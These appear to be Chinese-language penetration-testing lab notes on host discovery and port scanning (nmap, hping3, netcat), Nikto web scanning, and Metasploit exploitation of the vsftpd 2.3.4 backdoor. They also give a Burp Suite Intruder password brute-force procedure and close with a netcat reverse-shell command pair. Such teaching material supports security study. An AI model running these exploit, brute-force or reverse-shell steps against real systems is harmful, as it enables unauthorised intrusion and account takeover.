免责声明
以下所有关于黑客技术、病毒攻击、拒绝服务或任何其他计算机系统攻击手段的讲义、资料和讨论内容,仅用于教育目的。这些内容不得用于对任何计算机系统发起攻击或造成损害,也不以任何方式鼓励任何人从事此类行为。
本文所涉及的所有技术讨论仅供学习和研究使用。作者不对任何人使用这些信息用于非法用途负责。阅读本文即表示您同意不会将文中讨论或披露的任何技术手段用于实施网络攻击等违法行为。
本文遵循学术研究和技术交流的目的,拒绝为任何恶意行为提供指导。如有违法使用,使用者需自行承担所有法律责任。
主机发现和端口扫描
ICMP扫描
因特网控制报文协议ICMP(Internet Control Message Protocol)是一个差错报告机制,是TCP/IP协议簇中的一个重要子协议,通常被IP层或更高层协议(TCP或UDP)使用,属于网络层协议,主要用于在IP主机和路由器之间传递控制消息,用于报告主机是否可达、路由是否可用等。这些控制消息虽然并不传输用户数据,但是对于收集各种网络信息、诊断和排除各种网络故障以及用户数据的传递具有至关重要的作用。
在数据传输的过程中,IP提供尽力而为的服务,指为了把数据包发送到目的地址尽最大努力。它并不对目的主机是否收到数据包进行验证,无法进行流量控制和差错控制。因此在数据包传输过程中,产生各种错误在所难免。为了更有效地转发IP数据包和提高数据包交付成功的机会,ICMP应运而生。使用ICMP,当网络中数据包传输出现问题时,主机或设备就会向上层协议报告差错情况和提供有关异常情况的报告,使得上层协议能够通过自己的差错控制程序来判断通信是否正确,以进行流量控制和差错控制,从而保证服务质量。
- 边界设备常禁用ICMP,不可靠
主要工具:
nmap
- 用法
nmap -sn -n --disable-arp-ping 192.168.x.1-255-sn: ICMP echo请求,禁用端口扫描-disable-arp-ping: 禁用ARPn: 禁用DNS解析Pn: 禁用ICMP扫描
hping3
- 用法
hping3 -1 -I eth1 192.168.x.y # ICMP扫描 hping3 -S 192.168.x.y -p 80 -c 1 # TCP SYN扫描1: ICMP扫描2: UDP扫描S: SYN扫描p: 端口号c: 计数器
ARP扫描
ARP(Address Resolution Protocol,地址解析协议)是用来将IP地址解析为MAC地址的协议。
- 仅适用于同一子网内
主要工具:
1.nmap
- 默认启用本地网络ARP扫描 (除非禁用:
--disable-arp-ping)
netdiscover
- 用法
netdiscover -i eth1 -r 192.168.186.0/24-i:指定网络接口-r:扫描指定子网范围-p: 被动模式
端口扫描
主要工具:
nmap
- 默认行为: 发送以下数据包:
- ICMP echo请求
- ICMP timestamp请求
- TCP SYN到443端口
- TCP ACK到80端口
NetCat
- 用法:
nc -nvzw 1 192.168.186.10 20-80-n: 仅使用IP-v: 详细输出-z: 零I/O扫描模式-w: 连接超时时间
Nmap工具
- ARP扫描:仅限本地网络
- ICMP扫描:可跨网段,但可能被防火墙阻止
- TCP/UDP扫描:通过端口探测主机存活
常用参数
- 扫描速度和时序
T0: 极慢(用于IDS逃逸)T1: 慢T2: 较慢T3: 正常T4: 快(推荐用于实验室环境)T5: 极快(可能不可靠)
- 输出选项
nmap -oA filename 192.168.1.1 # 输出所有格式
生成三种格式:
.nmap: 正常格式.gnmap: grepable格式.xml: XML格式
- 服务和版本检测
sV: 版本检测sC: 默认脚本扫描A: 激活操作系统检测、版本检测、脚本扫描和traceroute
- NSE(Nmap Scripting Engine)脚本
-sC等同于--script=default,是最基本的脚本扫描- 漏洞扫描通常使用
vuln类脚本 - 可以组合多个脚本类别
小结
| 扫描类型 | ARP扫描 | ICMP扫描 | 端口扫描 |
|---|---|---|---|
| 作用 | 解析IP到MAC地址,发现同一子网内的活跃主机 | 检测主机是否可达,网络连通性测试 | 探测目标主机开放的服务端口 |
| 原理 | 发送ARP请求获取MAC地址 | 发送ICMP echo请求(ping) | 向目标端口发送特定类型的包(如TCP SYN) |
| 适用范围 | 仅限本地子网 | 可跨网段,但经常被防火墙阻止 | 本地或远程主机,取决于网络策略 |
| 可靠性 | 最可靠(在本地网络) | 较不可靠(常被禁用) | 相对可靠,但可能被防火墙过滤 |
| 速度 | 最快 | 较快 | 最慢(需要扫描多个端口) |
| 应用场景 | - 本地网络资产发现 - 内网主机存活探测 | - 简单的主机存活检测 - 网络连通性测试 | - 服务探测 - 安全评估 - 漏洞扫描 |
| 常用工具 | - netdiscover - nmap (默认启用) | - ping - hping3 - nmap | - nmap - nc(netcat) - hping3 |
其他工具: Acunetix Web Vulnerability Scanner
渗透
Metasploit
Metasploit是一个专业的网络安全渗透测试框架。
常用命令:
msfdb run- 启动Metasploit的数据库和控制台search vsftpd- 搜索与vsftpd(一个FTP服务器软件)相关的漏洞use exploit/unix/ftp/vsftpd_234_backdoor- 选择一个针对vsftpd的特定漏洞利用模块show options- 显示当前模块的配置选项set RHOST <>- 设置目标主机IP地址exploit- 执行漏洞利用
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
VSFTPD 2.3.4漏洞是一个严重的后门漏洞,当用户名中包含特定字符:)时会触发后门; 此后门会在TCP 6200端口打开一个shell连接。攻击者可以通过这个shell获得root权限的远程命令执行能力。
Nikto
Nikto是一个功能强大的Web服务器扫描工具。您提到的命令:
nikto -host http://192.168.186.10 -port 80 -maxtime=30s -output output.html
host http://192.168.186.10: 指定要扫描的目标主机地址, 可以是IP地址或域名port 80: 指定要扫描的端口号; 80是HTTP的默认端口maxtime=30s: 设置扫描的最大时间为30秒output output.html: 将扫描结果保存到output.html文件中
其他常用的Nikto参数包括:
ssl: 使用HTTPS连接Tuning: 选择特定的测试类型id: 指定登录凭据nolookup: 禁用DNS解析nossl: 禁用SSL检查
Burp Suite 密码爆破
- 在Burp Suite的
Proxy->HTTP history中查看代理捕获的HTTP历史记录 - 找到请求,可以看到用户名和密码内容
- 右键该记录,选择
Send to Intruder - 在Intruder -> Positions中,清除所有变量,只保留password参数
- 在Payload中加载密码字典
- 在Options -> Redirections中设置"Follow redirectors: Always"
- 开始攻击,根据响应长度分析结果
建立reverse shell
攻击机
$ sudo nc -lvnp 8888
靶机
$ nc -e /bin/bash 127.0.0.1 8888